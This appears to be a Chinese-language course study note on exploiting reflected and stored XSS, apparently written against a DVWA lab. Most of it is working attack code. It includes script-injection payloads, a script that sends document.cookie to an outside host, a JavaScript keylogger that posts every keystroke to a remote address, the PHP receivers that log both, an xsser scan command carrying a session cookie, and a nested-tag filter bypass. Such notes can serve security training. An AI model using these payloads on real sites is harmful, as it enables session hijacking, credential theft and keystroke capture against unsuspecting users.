【安全牛學習筆記】XSS的利用
反射型XSS1.概念
通過社會工程學等手段誘騙用戶點擊某個精心構造的鏈接,該鏈接會將惡意的js代碼提交給 有漏洞的服務器網站,並由服務器返回給受害者的客戶端執行。
2.POC
-<script>alert(‘xss’)</script>
-直接通過腳本插入
-<ahref=‘‘onclick=alert(‘xss‘)>type</a>
-將代碼註入到a標簽中,點擊超鏈接則執行-<imgsrc=http://1.1.1.1/a.ipgonerror=alert(‘xss‘)>
-
-重定向
-<iframeSRC="http://1.1.1.1/victim"height="0"width="0"></iframe> -加載一個寬和高都是0的框架來執行代碼-<script>newImage().src="http://1.1.1.1/c.php?output="+document.cookie;</script> -竊取cookie並發送到指定網址-<script>document.body.innerHTML="<divstyle=visibility:visible;><h1>THISWEBSITE
ISUNDERATTACK</h1></div>";</script> -修改DOM樹中的內容
3.竊取cookiejs代碼 cookie.js
varimg=newImage(); img.src="http://1.1.1.1/cookies.php?cookie="+document.cookie;
接收頁面代碼cookies.php
<?php
$c=$_GET[‘c‘];
$cookie=fopen("cookie.txt","a");
fwrite($cookie,$c."\r\n\r\n");
fclose($cookie);
?>
惡意代碼
<scriptsrc=http://1.1.1.1/cookie.js></script>
攻擊過程:
當惡意代碼被執行時,會從外部網址讀取cookie.js在客戶端上執行,該js會讀取當前頁面的 地址並發送到指定的接收頁面,由頁面接收並保存到文件。
4.keylogger鍵盤記錄js keylogger.js
document.onkeypress=function(evt){
evt=evt||window.event
key=String.fromCharCode(evt.charCode)
if(key){
varhttp=newXMLHttpRequest();
varparam=encodeURI(key)
http.open("POST","http://192.168.20.8/keylogger.php",true);
http.setRequestHeader("Content-type","application/x-www-form-urlencoded");
http.send("key="+param);
} }
接收頁面 Keylogger.php
<?php
$key=$_POST[‘key‘];
$logfile="keylog.txt";
$fp=fopen($logfile,"a");
fwrite($fp,$key);
fclose($fp);
?>
惡意代碼
<script+src="http://1.1.1.1/keylogger.js"></script>
攻擊過程:當惡意代碼被執行時,會從外部網址讀取keylooger.js在客戶端上執行,該js記錄所有該頁面 上的按鍵操作並發送到指定的接收頁面,由頁面接收並保存到文件。
5.xss漏洞檢測工具:xsser
xsser-u“http://1.1.1.1/dvwa/vulnerabilities/"-g"xss_r/?name="--cookie="securi
ty=low;PHPSESSID=d23e469411707ff8210717e67c521a81"-s-v--reverse-check檢測xss漏洞
--heuristic檢查被過濾的字符
6.過濾繞過
過濾機制:替換<script>字符為""繞過方法:在<script>中嵌套一層<script>--<scr<script>ipt>
存儲型XSS1.概念
將惡意js代碼永久的存儲在有漏洞的服務器上,每次受害者打開該頁面時,惡意代碼便會在 客戶端執行。
2.表單長度限制突破只在客戶端過濾且服務器沒有很的過濾機制時:
直接修改客戶端源碼改變表單長度 通過截斷代理直接在數據包中修改需要提交的內容
【安全牛學習筆記】XSS的利用